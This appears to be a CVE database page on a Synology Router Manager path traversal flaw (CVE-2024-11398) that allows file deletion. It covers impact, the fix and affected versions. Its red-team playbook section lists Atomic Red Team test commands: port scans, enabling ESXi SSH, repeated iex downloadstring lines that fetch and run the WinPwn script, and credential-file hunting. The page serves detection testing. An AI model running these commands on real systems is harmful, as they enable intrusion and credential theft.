CVE-2024-11398
Overview
This vulnerability is a path traversal flaw resulting from insufficient validation of file path inputs within the OTP reset functionality of Synology Router Manager (SRM). The root cause lies in the improper restriction of pathname references, allowing directory traversal beyond intended boundaries. The affected component is the OTP reset mechanism in SRM versions prior to 1.3.1-9346-9.
Vulnerability Description
Improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in OTP reset functionality in Synology Router Manager (SRM) before 1.3.1-9346-9 allows remote authenticated users to delete arbitrary files via unspecified vectors.
Impact
An attacker with valid authentication can delete arbitrary files on the affected SRM device by exploiting the path traversal vulnerability in the OTP reset function. This can lead to disruption of device operations or deletion of critical configuration files, potentially causing service outages or denial of service. The attack requires network access and valid user credentials (PR:L), and no user interaction is needed (UI:N). The CVSS vector indicates high integrity and availability impact (I:H/A:H) but no confidentiality loss (C:N).
Solution
Synology has addressed this vulnerability in Synology Router Manager version 1.3.1-9346-9 and later updates, as detailed in their security advisory Synology_SA_24_03 (https://www.synology.com/en-global/security/advisory/Synology_SA_24_03). Users should upgrade affected SRM installations to version 1.3.1-9346-9 or newer to mitigate the issue. No alternative workarounds are provided in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with improper limitation of a pathname to a restricted directory, specifically affecting the OTP reset functionality in Synology Router Manager, presents a significant security risk. This flaw allows remote authenticated users to exploit the system by deleting arbitrary files. The root cause lies in the inadequate validation of user input, which can lead to path traversal attacks. In such scenarios, an attacker can manipulate the file paths to access directories outside the intended scope, resulting in unauthorized file deletion. This vulnerability is particularly concerning because it can compromise the integrity of the system and potentially lead to further exploitation.
Attack vectors for this vulnerability are varied, primarily targeting authenticated users who may have legitimate access to the Synology Router Manager interface. An attacker could leverage social engineering tactics to gain access credentials or exploit weak password policies to authenticate themselves. Once inside the system, they can craft requests that exploit the path traversal flaw, allowing them to specify file paths that lead to sensitive or critical files. For instance, an attacker might delete configuration files or logs that are essential for the operation of the router, leading to service disruptions or loss of important data. Additionally, the ability to delete arbitrary files can be used as a stepping stone for more advanced attacks, such as installing malicious software or creating backdoors for future access.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on Synology Router Manager for network management. The potential for data loss, service interruptions, and the subsequent financial implications can be significant. Businesses may face reputational damage if sensitive information is compromised or if they experience prolonged downtime. Furthermore, the exploitation of this vulnerability could lead to compliance issues, especially for organizations bound by regulations that mandate stringent data protection measures. The risk extends beyond immediate financial losses, as the long-term effects on customer trust and brand reputation can be detrimental.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and vulnerability scans can help identify potential weaknesses in the system. Additionally, employing intrusion detection systems can alert administrators to suspicious activities that may indicate exploitation attempts. It is crucial to keep the Synology Router Manager updated to the latest version, as software updates often include patches for known vulnerabilities. Organizations should also enforce strong authentication practices, such as multi-factor authentication, to reduce the risk of unauthorized access. Furthermore, implementing strict access controls and monitoring user activities can help limit the potential for exploitation.
In conclusion, the improper limitation of pathnames in the Synology Router Manager poses a serious threat to the security and integrity of affected systems. The ability for authenticated users to delete arbitrary files can lead to significant operational disruptions and data loss. Organizations must prioritize detection and mitigation strategies to safeguard their networks against such vulnerabilities. By adopting a proactive security posture, including regular updates, strong authentication measures, and continuous monitoring, businesses can reduce their exposure to this and similar threats, ultimately protecting their assets and maintaining trust with their clients.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synology | Router Manager | All |
cpe:2.3:o:synology:router_manager:*:*:*:*:*:*:*:*
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Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:-:*:*:*:*:*:*
|
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|
Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:update1:*:*:*:*:*:*
|
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|
Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:update2:*:*:*:*:*:*
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Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:update3:*:*:*:*:*:*
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|
Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:update4:*:*:*:*:*:*
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Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:update5:*:*:*:*:*:*
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Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:update6:*:*:*:*:*:*
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Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:update7:*:*:*:*:*:*
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Synology | Router Manager | 1.3.1-9346 |
cpe:2.3:o:synology:router_manager:1.3.1-9346:update8:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11398 |
| synology.com |
GitHub CVE
vendor-advisory
|
https://www.synology.com/en-global/security/advisory/Synology_SA_24_03 |